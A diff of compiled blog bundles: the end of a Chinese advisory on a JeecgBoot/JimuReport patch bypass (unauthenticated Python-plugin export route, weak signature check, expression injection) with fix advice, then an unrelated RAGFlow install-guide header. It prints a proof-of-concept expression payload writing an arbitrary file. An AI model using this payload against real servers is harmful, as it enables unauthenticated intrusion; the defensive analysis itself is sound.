\u6570\u636e\u6d41"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/b/a.class\n\u65b9\u6cd5\uff1ab(org.jeecg.modules.jmreport.automate.model.JimuReportAutoExportVO)\n\u7f16\u8bd1\u6e90\u6587\u4ef6\uff1aJimuReportAutoController.java\n"})}),"\n",(0,s.jsx)(n.p,{children:"Python \u63d2\u4ef6\u65b9\u6cd5\u7684\u5b9e\u9645\u5b57\u8282\u7801\u903b\u8f91\u7b49\u4ef7\u4e8e\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'@RequestMapping(value = "/export/python/plugin", method = RequestMethod.POST)\n@JimuSignature\n@JimuNoLoginRequired\npublic Result exportPythonPlugin(\n @RequestBody JimuReportAutoExportVO jimuReportAutoExportVO) {\n String currentDomain = getCurrentDomain(getRequest());\n jimuReportAutoExportVO.setDomain(currentDomain);\n jimuReportAutoExportVO.setExportFrom("api");\n log.debug("\u3010\u8c03\u7528python\u3011\u62a5\u8868\u81ea\u52a8\u5bfc\u51fa\u53c2\u6570\uff0ccurrentDomain ={}, jimuReportAutoExportVO = {}",\n currentDomain, jimuReportAutoExportVO);\n return jimuReportAutoService.autoExport(jimuReportAutoExportVO);\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u6ca1\u6709\u770b\u5230\u5bf9 ",(0,s.jsx)(n.code,{children:"reportParams[].params"})," \u7684 allowlist\u3001\u8868\u8fbe\u5f0f\u524d\u7f00\u62d2\u7edd\u6216\u5bf9\u8c61\u8bbf\u95ee\u9650\u5236\uff1b\u8bf7\u6c42\u4f53\u5b8c\u6210 JSON \u7ed1\u5b9a\u540e\u76f4\u63a5\u8fdb\u5165\u7edf\u4e00\u81ea\u52a8\u5bfc\u51fa\u670d\u52a1\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902161822367",src:r(10031).A+"",width:"2562",height:"1172"})}),"\n",(0,s.jsxs)(n.h3,{id:"3-jimureportsignatureinterceptor\u7b7e\u540d\u901a\u8fc7\u4f46\u4e0d\u6062\u590d\u8eab\u4efd\u8ba4\u8bc1",children:["3. ",(0,s.jsx)(n.code,{children:"JimuReportSignatureInterceptor"}),"\uff1a\u7b7e\u540d\u901a\u8fc7\u4f46\u4e0d\u6062\u590d\u8eab\u4efd\u8ba4\u8bc1"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/common/interceptor/JimuReportSignatureInterceptor.class\n\u65b9\u6cd5\uff1apreHandle(HttpServletRequest, HttpServletResponse, Object)\n\u76f8\u5173\u5e38\u91cf\uff1aX_SIGN\u3001X_TIMESTAMP\u3001PRINT_PLUGIN_SIGN_SECRET\u3001MAX_EXPIRE\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u62e6\u622a\u5668\u901a\u8fc7\u53cd\u5c04\u68c0\u67e5\u65b9\u6cd5\u662f\u5426\u5e26\u6709 ",(0,s.jsx)(n.code,{children:"@JimuSignature"}),"\u3002\u5bf9 Python \u63d2\u4ef6\u8def\u5f84\uff0c\u5173\u952e\u903b\u8f91\u7b49\u4ef7\u4e8e\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'public boolean preHandle(HttpServletRequest request,\n HttpServletResponse response,\n Object handler) throws Exception {\n if (!needSignatureVerification(handler)) {\n return true;\n }\n\n String timestamp = request.getHeader("X-TIMESTAMP");\n String sign = request.getHeader("X-Sign");\n if (OkConvertUtils.isEmpty(timestamp)\n || OkConvertUtils.isEmpty(sign)) {\n error(response, "\u7b7e\u540d\u9a8c\u8bc1\u5931\u8d25: \u7b7e\u540d\u53c2\u6570\u4e0d\u5b58\u5728");\n return false;\n }\n\n if (System.currentTimeMillis() - Long.parseLong(timestamp)\n > 300000L) {\n error(response, "\u7b7e\u540d\u9a8c\u8bc1\u5931\u8d25:X-TIMESTAMP\u5df2\u8fc7\u671f");\n return false;\n }\n\n BodyReaderHttpServletRequestWrapper wrapper =\n new BodyReaderHttpServletRequestWrapper(request);\n String requestUri = request.getRequestURI();\n if (requestUri != null\n && requestUri.endsWith("/auto/export/python/plugin")) {\n String rawBody = wrapper.getBody();\n String calculated = DigestUtils.md5DigestAsHex(\n (rawBody + PRINT_PLUGIN_SIGN_SECRET)\n .getBytes("UTF-8"))\n .toUpperCase();\n if (!calculated.equals(sign)) {\n error(response, "\u7b7e\u540d\u6821\u9a8c\u5931\u8d25\uff0c\u53c2\u6570\u6709\u8bef\uff01");\n return false;\n }\n return true;\n }\n\n // \u5176\u4ed6\u5e26 @JimuSignature \u7684\u63a5\u53e3\u6309\u6392\u5e8f\u540e\u7684 query \u53c2\u6570\u8ba1\u7b97\u7b7e\u540d\n return verifyOtherSignaturePaths(wrapper, sign);\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902162900466",src:r(58061).A+"",width:"2911",height:"1499"})}),"\n",(0,s.jsxs)(n.h3,{id:"4-jimureportautoserviceimpl\u4e24\u6761\u5165\u53e3\u6c47\u805a\u5230\u540c\u4e00\u670d\u52a1",children:["4. ",(0,s.jsx)(n.code,{children:"JimuReportAutoServiceImpl"}),"\uff1a\u4e24\u6761\u5165\u53e3\u6c47\u805a\u5230\u540c\u4e00\u670d\u52a1"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/service/a/a.class\n\u7f16\u8bd1\u6e90\u6587\u4ef6\uff1aJimuReportAutoServiceImpl.java\n\u65b9\u6cd5\uff1aautoExport(JimuReportAutoExportVO)\n\u5b57\u6bb5\uff1aautoAsyncTasks\u3001pyExecHandler\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u63a7\u5236\u5668\u8c03\u7528\u63a5\u53e3 ",(0,s.jsx)(n.code,{children:"IJimuReportAutoService.autoExport(vo)"}),"\u3002\u672c\u5730\u4f9d\u8d56\u4e2d\u7684\u670d\u52a1\u5b9e\u73b0\u5c06\u81ea\u52a8\u5bfc\u51fa\u4efb\u52a1\u4ea4\u7ed9\u5f02\u6b65\u4efb\u52a1\u548c\u5177\u4f53\u5bfc\u51fa\u5904\u7406\u5668\uff0c\u903b\u8f91\u53ef\u6982\u62ec\u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:"@Override\npublic Result autoExport(JimuReportAutoExportVO vo) {\n Result result = autoAsyncTasks.export(vo);\n if (result.isSuccess()) {\n return download(result.getResult().toString(), null);\n }\n return result;\n}\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u539f\u59cb ",(0,s.jsx)(n.code,{children:"/export"})," \u548c\u65c1\u8def ",(0,s.jsx)(n.code,{children:"/export/python/plugin"})," \u90fd\u6267\u884c\u8be5\u8c03\u7528\uff0c\u56e0\u6b64\u65c1\u8def\u6ca1\u6709\u505c\u7559\u5728\u201c\u65e7\u63a5\u53e3\u8fd4\u56de\u63d0\u793a\u201d\u7684\u5c42\u9762\uff0c\u800c\u662f\u8fdb\u5165\u76f8\u540c\u7684\u62a5\u8868\u53c2\u6570\u5904\u7406\u548c\u5bfc\u51fa\u94fe\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902162958987",src:r(17134).A+"",width:"2526",height:"1057"})}),"\n",(0,s.jsxs)(n.h3,{id:"5-pyexechandler-\u4e0e-auto_exportpy\u8868\u8fbe\u5f0f\u6570\u636e\u8fdb\u5165\u6267\u884c\u6d41\u7a0b",children:["5. ",(0,s.jsx)(n.code,{children:"PyExecHandler"})," \u4e0e ",(0,s.jsx)(n.code,{children:"auto_export.py"}),"\uff1a\u8868\u8fbe\u5f0f\u6570\u636e\u8fdb\u5165\u6267\u884c\u6d41\u7a0b"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/c/b.class\n\u7f16\u8bd1\u6e90\u6587\u4ef6\uff1aPyExecHandler.java\n\u76f8\u5173\u65b9\u6cd5\uff1aa(String, String[])\u3001a(String...)\n\n./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!script/auto_export.py\n\n./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/desreport/express/ExpressUtil.class\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4f9d\u8d56 JAR \u4e2d\u5305\u542b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"script/auto_export.py\n"})}),"\n",(0,s.jsxs)(n.p,{children:["Python \u6267\u884c\u5904\u7406\u5668 ",(0,s.jsx)(n.code,{children:"org.jeecg.modules.jmreport.automate.c.b"}),"\uff08\u7f16\u8bd1\u6e90\u6587\u4ef6\u540d\u4e3a ",(0,s.jsx)(n.code,{children:"PyExecHandler.java"}),"\uff09\u4f1a\u51c6\u5907\u811a\u672c\u76ee\u5f55\u3001\u811a\u672c\u8def\u5f84\u548c JSON \u53c2\u6570\uff0c\u7136\u540e\u542f\u52a8 Python \u811a\u672c\u5e76\u89e3\u6790\u811a\u672c\u8fd4\u56de\u503c\u3002\u5176\u5173\u952e\u6d41\u7a0b\u53ef\u8fd8\u539f\u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'public Result execute(String scriptDir,\n String scriptName,\n String[] args,\n Map env) {\n if (OkConvertUtils.isEmpty(scriptDir)) {\n throw new RuntimeException("\u811a\u672c\u76ee\u5f55\u4e0d\u80fd\u4e3a\u7a7a");\n }\n if (!isTrustedScript(scriptDir)) {\n throw new RuntimeException("\u811a\u672c\u6587\u4ef6\u4e0d\u53ef\u4fe1");\n }\n\n String output = ProcessUtil.exec(\n new String[] {scriptName, scriptDir}, env);\n return parsePythonResult(output);\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u81ea\u52a8\u5bfc\u51fa\u524d\u7f6e\u6b65\u9aa4\u4f1a\u5c06 ",(0,s.jsx)(n.code,{children:"reportParams"})," \u4e2d\u7684\u53c2\u6570\u6620\u5c04\u5230\u62a5\u8868\u67e5\u8be2\u548c\u8868\u8fbe\u5f0f\u5904\u7406\u4e0a\u4e0b\u6587\u3002\u53d7\u5f71\u54cd\u6570\u636e\u6d41\u53ef\u8868\u793a\u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"HTTP JSON\n -> JimuReportAutoExportVO.reportParams\n -> \u81ea\u52a8\u5bfc\u51fa\u4efb\u52a1\u53c2\u6570\u6620\u5c04\n -> \u62a5\u8868\u67e5\u8be2\u53c2\u6570\n -> ExpressUtil / Aviator \u8868\u8fbe\u5f0f\u6c42\u503c\n -> Python \u5bfc\u51fa\u811a\u672c\u4e0e\u5bfc\u51fa\u7ed3\u679c\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5f53\u53c2\u6570\u503c\u4ee5 ",(0,s.jsx)(n.code,{children:"="})," \u5f00\u5934\u65f6\uff0c\u8868\u8fbe\u5f0f\u5904\u7406\u5668\u4f1a\u53bb\u9664\u524d\u7f00\u5e76\u6267\u884c\u8868\u8fbe\u5f0f\u3002\u9a8c\u8bc1\u8868\u8fbe\u5f0f\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"=__instance__.moduleCache['io']['spit'](\n '/tmp/jeecg_jimureport_poc',\n 'JEECG_JIMUREPORT_POC'\n)\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8868\u8fbe\u5f0f\u4e2d\u7684 ",(0,s.jsx)(n.code,{children:"__instance__"}),"\u3001",(0,s.jsx)(n.code,{children:"moduleCache"})," \u548c ",(0,s.jsx)(n.code,{children:"io.spit"})," \u4f53\u73b0\u4e86\u5185\u90e8\u5bf9\u8c61\u53ef\u8fbe\u6027\uff1b\u5176\u76f4\u63a5\u9a8c\u8bc1\u7ed3\u679c\u662f\u4efb\u610f\u8def\u5f84\u6587\u4ef6\u5199\u5165\u3002\u82e5\u540c\u4e00\u4e0a\u4e0b\u6587\u66b4\u9732\u8fdb\u7a0b\u542f\u52a8\u3001\u9759\u6001\u65b9\u6cd5\u6216\u811a\u672c\u6267\u884c\u80fd\u529b\uff0c\u5219\u5f71\u54cd\u53ef\u6269\u5927\u5230\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6267\u884c\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902170822314",src:r(6723).A+"",width:"2298",height:"969"})}),"\n",(0,s.jsx)(n.h3,{id:"6-\u6839\u56e0\u5b9a\u4f4d",children:"6. \u6839\u56e0\u5b9a\u4f4d"}),"\n",(0,s.jsx)(n.p,{children:"\u6839\u56e0\u4e0d\u662f\u5355\u4e00\u7684 MD5 \u7b97\u6cd5\uff0c\u800c\u662f\u4e09\u4e2a\u63a7\u5236\u9762\u6ca1\u6709\u95ed\u5408\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u5165\u53e3\u8986\u76d6\u4e0d\u5b8c\u6574"}),"\uff1a\u4fee\u590d\u5bf9 ",(0,s.jsx)(n.code,{children:"/export"})," \u589e\u52a0\u4e86\u6743\u9650\u63a7\u5236\uff0c\u4f46 ",(0,s.jsx)(n.code,{children:"/export/python/plugin"})," \u4ecd\u88ab ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"})," \u653e\u884c\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u7b7e\u540d\u88ab\u8bef\u5f53\u4f5c\u6743\u9650\u8fb9\u754c"}),"\uff1a",(0,s.jsx)(n.code,{children:"@JimuSignature"})," \u53ea\u9a8c\u8bc1\u56fa\u5b9a\u5b57\u7b26\u4e32\u548c\u539f\u59cb\u8bf7\u6c42\u4f53\uff0c\u4e0d\u7b49\u4ef7\u4e8e\u767b\u5f55\u3001\u89d2\u8272\u6216\u6743\u9650\u6821\u9a8c\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u53c2\u6570\u4fe1\u4efb\u8fb9\u754c\u8fc7\u5bbd"}),"\uff1a",(0,s.jsx)(n.code,{children:"reportParams[].params"})," \u4ecd\u80fd\u8fdb\u5165\u8868\u8fbe\u5f0f\u4e0a\u4e0b\u6587\uff0c\u672a\u88ab\u9650\u5236\u4e3a\u666e\u901a\u6570\u636e\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"7-\u4fee\u590d\u5efa\u8bae",children:"7. \u4fee\u590d\u5efa\u8bae"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5bf9 ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export/python/plugin"})," \u53bb\u9664 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u589e\u52a0\u4e0e ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export"})," \u4e00\u81f4\u7684\u767b\u5f55\u3001\u89d2\u8272\u548c\u6743\u9650\u6821\u9a8c\uff1b"]}),"\n",(0,s.jsx)(n.li,{children:"\u82e5 Python \u63d2\u4ef6\u5bfc\u51fa\u4e0d\u518d\u4f7f\u7528\uff0c\u76f4\u63a5\u5220\u9664\u6216\u7981\u7528\u8be5\u8def\u7531\uff0c\u5e76\u5728\u7f51\u5173\u5c42\u963b\u65ad\u65e7\u8def\u5f84\uff1b"}),"\n",(0,s.jsxs)(n.li,{children:["\u5bf9 ",(0,s.jsx)(n.code,{children:"reportParams[].params"})," \u5b9e\u65bd\u4e25\u683c allowlist\uff0c\u53ea\u5141\u8bb8\u666e\u901a\u5b57\u7b26\u4e32\u3001\u6570\u5b57\u3001\u65e5\u671f\u7b49\u5b57\u9762\u91cf\uff0c\u62d2\u7edd ",(0,s.jsx)(n.code,{children:"="})," \u8868\u8fbe\u5f0f\u524d\u7f00\u3001\u5bf9\u8c61\u8bbf\u95ee\u3001\u6a21\u5757\u8bbf\u95ee\u548c\u9759\u6001\u65b9\u6cd5\u8c03\u7528\uff1b"]}),"\n",(0,s.jsx)(n.li,{children:"\u4e0d\u628a\u56fa\u5b9a\u7b7e\u540d\u5bc6\u94a5\u5f53\u4f5c\u8eab\u4efd\u8ba4\u8bc1\uff0c\u6539\u7528\u771f\u5b9e\u4f1a\u8bdd\u3001Token\u3001\u89d2\u8272\u548c\u7ec6\u7c92\u5ea6\u6743\u9650\u63a7\u5236\uff1b"}),"\n",(0,s.jsx)(n.li,{children:"\u5bf9 Python \u8fdb\u7a0b\u8fdb\u884c\u6700\u5c0f\u6743\u9650\u9694\u79bb\uff0c\u9650\u5236\u6587\u4ef6\u7cfb\u7edf\u3001\u7f51\u7edc\u548c\u8fdb\u7a0b\u521b\u5efa\u80fd\u529b\uff1b"}),"\n",(0,s.jsxs)(n.li,{children:["\u5347\u7ea7\u540e\u786e\u8ba4\u8fd0\u884c\u65f6 JAR \u4e2d ",(0,s.jsx)(n.code,{children:"/export/python/plugin"})," \u4e0d\u518d\u5e26 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u5e76\u7528\u672c\u6587\u7b2c\u4e03\u8282\u7684\u8d1f\u5411\u7528\u4f8b\u9a8c\u8bc1\u672a\u767b\u5f55\u8bf7\u6c42\u88ab\u62d2\u7edd\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u4e03\u5176\u4ed6\u8bf4\u660e\u4e8b\u9879",children:"\u4e03\u3001\u5176\u4ed6\u8bf4\u660e\u4e8b\u9879\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u672c\u6587\u7684\u201c\u4fee\u590d\u7ed5\u8fc7\u201d\u7279\u6307 Issue #9837 \u6240\u4fee\u590d\u7684 ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export"})," \u4e0e\u4ecd\u53ef\u8c03\u7528\u7684 ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export/python/plugin"})," \u4e4b\u95f4\u7684\u5165\u53e3\u8986\u76d6\u5dee\u5f02\uff0c\u4e0d\u4ee3\u8868\u6240\u6709\u7248\u672c\u548c\u90e8\u7f72\u90fd\u5fc5\u7136\u5b58\u5728\u8be5\u8def\u7531\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u6587\u7ae0\u4ee3\u7801\u7247\u6bb5\u6765\u81ea\u672c\u5730 ",(0,s.jsx)(n.code,{children:"JeecgBoot 3.9.5"}),"\u3001",(0,s.jsx)(n.code,{children:"JimuReport 2.5.1"})," \u8fd0\u884c\u65f6\u4f9d\u8d56\u7684\u53cd\u7f16\u8bd1\u7b49\u4ef7\u8868\u793a\uff1b\u7c7b\u6587\u4ef6\u538b\u7f29\u540e\u7684\u65b9\u6cd5\u540d\u53ef\u80fd\u663e\u793a\u4e3a ",(0,s.jsx)(n.code,{children:"a"}),"\u3001",(0,s.jsx)(n.code,{children:"b"}),"\u3001",(0,s.jsx)(n.code,{children:"c"}),"\uff0c\u4e0d\u5f71\u54cd\u8def\u7531\u548c\u6ce8\u89e3\u5224\u65ad\u3002"]}),"\n"]}),"\n"]})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},72462:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171528544-807d037f624da9ad81c69f1d589ff42e.png"},80752:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171052052-b7f5451f3dac6cf5e69020720a75d272.png"},81292:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171749761-019074ec6bb93a5e29aaa758a141d17b.png"}}]); \ No newline at end of file diff --git a/assets/js/fa73e5aa.2d48f39f.js b/assets/js/fa73e5aa.2d48f39f.js new file mode 100644 index 0000000..fc13ece --- /dev/null +++ b/assets/js/fa73e5aa.2d48f39f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7034],{28453:(n,e,s)=>{s.d(e,{R:()=>d,x:()=>c});var l=s(96540);const i={},r=l.createContext(i);function d(n){const e=l.useContext(r);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:d(n.components),l.createElement(r.Provider,{value:e},n.children)}},86325:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>t,contentTitle:()=>c,default:()=>x,frontMatter:()=>d,metadata:()=>l,toc:()=>h});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/README","title":"RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/01.RAGFlow\u5b89\u88c5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/01.RAGFlow\u5b89\u88c5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/01.RAGFlow\u5b89\u88c5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/"},"next":{"title":"\u5b89\u88c5Gitbook","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/"}}');var i=s(74848),r=s(28453);const d={},c="RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2",t={},h=[{value:"1. \u524d\u8a00",id:"1-\u524d\u8a00",level:2},{value:"1.1 \u672c\u6587\u4ecb\u7ecd",id:"11-\u672c\u6587\u4ecb\u7ecd",level:3},{value:"1.2 RAGFlow \u662f\u4ec0\u4e48\uff1f",id:"12-ragflow-\u662f\u4ec0\u4e48",level:3},{value:"1.3 \u5b89\u88c5\u524d\u7684\u51c6\u5907",id:"13-\u5b89\u88c5\u524d\u7684\u51c6\u5907",level:3},{value:"1.3.1 Windows",id:"131-windows",level:4},{value:"1.3.2 Linux",id:"132-linux",level:4},{value:"1.3.3 Macos",id:"133-macos",level:4}];function o(n){const e={a:"a",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"ragflow-\u5b89\u88c5\u6307\u5357\u5927\u7eb2",children:"RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:37:48"})]})})]}),"\n",(0,i.jsx)(e.h2,{id:"1-\u524d\u8a00",children:"1. \u524d\u8a00"}),"\n",(0,i.jsx)(e.h3,{id:"11-\u672c\u6587\u4ecb\u7ecd",children:"1.1 \u672c\u6587\u4ecb\u7ecd"}),"\n",(0,i.jsx)(e.p,{children:"\u672c\u6587\u4f1a\u4ece Windows\u3001Linux \u548c macOS \u7b49\u4e0d\u540c\u64cd\u4f5c\u7cfb\u7edf\u73af\u5883\u4e0b\u7684\u5b89\u88c5\u8fdb\u884c\u8be6\u7ec6\u4ecb\u7ecd\uff0c\u6db5\u76d6\u5404\u5e73\u53f0\u7684\u4e0d\u540c\u5b89\u88c5\u6b65\u9aa4\u548c\u914d\u7f6e\u8981\u6c42\u3002\u5185\u5bb9\u5305\u62ec\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"**\u57fa\u7840\u73af\u5883\u914d\u7f6e\uff1a**\u5982\u4f55\u5728\u5404\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u51c6\u5907\u5b89\u88c5\u73af\u5883\uff08\u5982\u4f9d\u8d56\u5e93\u3001\u5de5\u5177\u7b49\uff09\u3002"}),"\n",(0,i.jsx)(e.li,{children:"**RAGFlow \u5b89\u88c5\uff1a**\u5728 Windows\u3001Linux \u548c macOS \u4e0a\u7684\u5b89\u88c5\u6d41\u7a0b\uff0c\u5305\u62ec\u624b\u52a8\u5b89\u88c5\u4e0e\u4f7f\u7528\u5305\u7ba1\u7406\u5de5\u5177\u7684\u65b9\u5f0f\u3002"}),"\n",(0,i.jsxs)(e.li,{children:["**\u5bb9\u5668\u5316\u90e8\u7f72\uff1a**\u9488\u5bf9 K3s\u3001Kubernetes\uff08K8s\uff09\u548c Docker \u4e2d\u7684 RAGFlow \u90e8\u7f72\u65b9\u5f0f\uff0c\u8be6\u7ec6\u8bf4\u660e\u5bb9\u5668\u5316\u73af\u5883\u4e2d\u7684\u914d\u7f6e\u4e0e\u8fd0\u884c\u6b65\u9aa4\u3002\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"K3s/k8s \u90e8\u7f72\uff1a"})," Kubernetes \u96c6\u7fa4\u90e8\u7f72\u65b9\u5f0f"]}),"\n",(0,i.jsx)(e.li,{children:"**Docker \u90e8\u7f72\uff1a**\u57fa\u4e8e Docker \u5bb9\u5668\u7684\u5feb\u901f\u90e8\u7f72\u65b9\u5f0f\uff0c\u9002\u5408\u5f00\u53d1\u548c\u6d4b\u8bd5\u73af\u5883\u3002"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u672c\u6587\u5c06\u5e2e\u52a9\u60a8\u6839\u636e\u4e0d\u540c\u7684\u64cd\u4f5c\u7cfb\u7edf\u9009\u62e9\u5408\u9002\u7684\u5b89\u88c5\u65b9\u6cd5\uff0c\u786e\u4fdd RAGFlow \u80fd\u5728\u5404\u79cd\u73af\u5883\u4e0b\u987a\u5229\u8fd0\u884c\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u26a0\ufe0f 